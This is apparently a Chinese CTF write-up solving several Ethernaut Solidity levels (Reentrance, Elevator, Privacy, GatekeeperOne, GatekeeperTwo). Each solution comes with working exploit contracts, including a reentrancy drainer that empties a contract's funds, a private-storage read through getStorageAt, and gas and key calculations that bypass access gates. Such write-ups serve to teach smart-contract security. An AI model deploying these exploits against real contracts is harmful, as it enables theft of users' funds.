目标:拿到合约里面的所有资金
这个题老版本失败!白往里面放了那么多钱!!!
用新版本的成功了
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}//捐赠
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}//查看余额
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {//提现金额要大于余额
(bool result, bytes memory data) = msg.sender.call.value(_amount)("");
if(result) {
_amount;
}//提现
balances[msg.sender] -= _amount;
}//但是这里是完成交易之后再从账户里面把提现的金额减去
}
function() external payable {}
}
因为他是提现完成之后才修改账户余额的,可以使用重入攻击
另外常用转币方式有三种,题目中用了第三种方法
<address>.reansfer() 发送失败时会通过 throw 回滚状态,只会传递 2300 个 gas 以供调用,从而防止重入 <address>.send() 发送失败时,返回布尔值 false,只会传递 2300 个 gas 以供调用,从而防止重入 <address>.gas().call.value()() 当发送失败时,返回布尔值 false 将传递所有可用的 gas 进行调用(可通过 gas(gas _value) 进行限制),不能有效防止重入攻击
用的是这个脚本:
pragma solidity ^0.6.4;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result, bytes memory data) = msg.sender.call.value(_amount)("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
fallback() external payable {}
}
contract Reenter {
Reentrance reentranceContract;
uint public amount = 1 ether; //withdrawal amount
constructor(address payable reentranceContactAddress) public payable {
reentranceContract = Reentrance(reentranceContactAddress);
}
function initiateAttack() public {
reentranceContract.donate{value:amount}(address(this));
//首先,需要捐赠一些钱
reentranceContract.withdraw(amount);
//然后调用合约的withdraw函数提现
}
fallback() external payable {
if (address(reentranceContract).balance >= 0 ) {
reentranceContract.withdraw(amount);
}//因为我们接受以太币的时候也会调用我们的回退函数
//而我们的回退函数中又一次调用了题目合约的withdraw函数
}
}
部署的时候给他 1 ether,然后使用 initiateAttack 就可以啦
执行后
目标:成为 top,让变量 top 变为 true
代码:
pragma solidity ^0.4.18;
interface Building {
function isLastFloor(uint) view public returns (bool);
}//定义了一个接口,这个函数返回你是不是在最顶层
contract Elevator {
bool public top;//布尔型变量,是否是top,默认false
uint public floor;//楼层
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {//如果不是最顶层的话就进入if
floor = _floor;//拿到你的_floor
top = building.isLastFloor(floor);//让top等于判断结果,所以还是false
}//但是如果你是top的话,没有改top的机会,所以还是false
}
}
题目声明了 Building 接口中的那个 isLastFloor 函数,我们可以自己编写
只要让他反转两次就可以啦
exp:
pragma solidity ^0.4.18;
interface Building {
function isLastFloor(uint) view public returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
contract BuildingEXP{
Elevator ele;
bool toop = true;//一开始定义为true
function isLastFloor(uint) view public returns (bool) {
toop = !toop;//在if那个地方要为false进入
//在top那个地方再次反转为false,这样就能保证top一直都是true啦
return toop;
}
function attack(address _addr) public{
ele = Elevator(_addr);
ele.goTo(5);
}
}
部署 hack 合约,然后执行 exploit 函数,就可以了,可以用 flag 查看一下
也可以在控制台查看 await contract.top()
目标:解锁需要一个 key,而这个 key 是 data[2] 是 private 的
在区块链上面没有私密的东西,都是公开的,只要找到就能过关
pragma solidity ^0.4.18;
contract Privacy {
bool public locked = true;
uint256 public constant ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
function Privacy(bytes32[3] _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
evm 每次处理32个字节,不足 32 字节的变量相互共享并补齐 32 字节
那么我们简单分析下题目中的变量:
bool public locked = true; //1 字节 01 uint256 public constant ID = block.timestamp; //32 字节 常量 不写入存储 uint8 private flattening = 10; //1 字节 0a uint8 private denomination = 255;//1 字节 ff uint16 private awkwardness = uint16(now);//2 字节 bytes32[3] private data;
第一个32 字节就是由locked、flattening、denomination、awkwardness组成,另外由于常量 constant 是无需存储的,所以从第二个32 字节开始就是 data。前几个合起来是第一个 32,data[0] 是第二个 32,data[1] 是第三个 32,所以我们的是第四个
web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})
这个脸,好诡异
目标:绕过三个 gate 来执行 enter 函数
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;//可以部署一个中间合约来调用绕过
}
modifier gateTwo() {
require(msg.gas.mod(8191) == 0);
_;//gas要满足8191取余为0
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;//这个后文中详细说说
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
调试看看,首先部署一个原来的
然后复制部署的合约地址,部署我们测试的攻击合约(我们要先部署一个可以打通的来绕过第一个关卡,方便调试看看第二个怎么弄)
pragma solidity ^0.4.18;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(msg.gas % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
contract MyAgent {
GatekeeperOne c;
function MyAgent(address _c) {
c = GatekeeperOne(_c);
}
function exploit() {
bytes8 _gateKey = bytes8(msg.sender) & 0xffffffff0000ffff;
c.enter.gas(81910)(_gateKey);
//c.enter.gas(81910-81697+81910+2)(_gateKey);
//注释的是正确的,但是先调试看看
}
}
然后点击 exploit,完成后选择中间窗口的 debug
首先,因为我们是使用另一个合约调用的,所以第一个 gate 是可以绕过的,然后我们来看一下第二个关卡需要多少 gas
接下来的一步需要的 gas 是 2,msg.gas 就是 remaining gas,想要绕过这一关就需要让 remaining gas % 8191 = 0。而在之前我们写入的值是 81910,现在的值是 81697,那么之前总消耗的值就是:81910-81697=213,再走一步再消耗 2,也就是说,如果我们想要让这一步结束之后 remaining gas % 8191 = 0 的话,或者说想要让他执行完之后刚好是 81910 的话,就需要让之前的值为:213+2+81910。所以想要绕过第二个关卡的话,值应该是 213+2+81910
第三个关卡:
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}
综上,key 如果是 0xFFFFFFFF0000FFFF & tx.origin 的话就正好可以
目标与上一关相同
pragma solidity ^0.4.18;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
//用内联汇编来获取调用方caller的代码大小
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
gate1:还是要建一个合约用来间接调用
gate2:extcodesize 是用来获取指定地址合约代码大小的,这里用内联汇编的方式来获取调用方 caller 的代码大小。一般来说,当 caller 为合约时,获取的大小为合约字节码大小,caller 为账户时,获取的大小为 0,但是这样就不能满足第一个了。合约在初始化时代码大小为 0。所以我们可以把攻击合约的调用操作写在构造函数中
gate3:传入一个八字节的 key,把 msg.sender 的 hash 计算出来与 uint64 类型的 key 异或,要等与 0-1,也就是 0xFFFFFFFFFFFFFFFF,只要我们先用 uint64(keccak256(msg.sender)) 与 0xFFFFFFFFFFFFFFFF 进行异或,这样再次异或的时候就成了 0xFFFFFFFFFFFFFFFF,也就符合条件了
(优先级为 – 大于 ^ 大于 ==)
exp:
pragma solidity ^0.4.18;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
contract attack{
function attack(address param){
GatekeeperTwo a =GatekeeperTwo(param);
bytes8 _gateKey = bytes8((uint64(0) -1) ^ uint64(keccak256(this)));
a.enter(_gateKey);
}
}
把上面 exp 部署以后就可以达到目的可以提交啦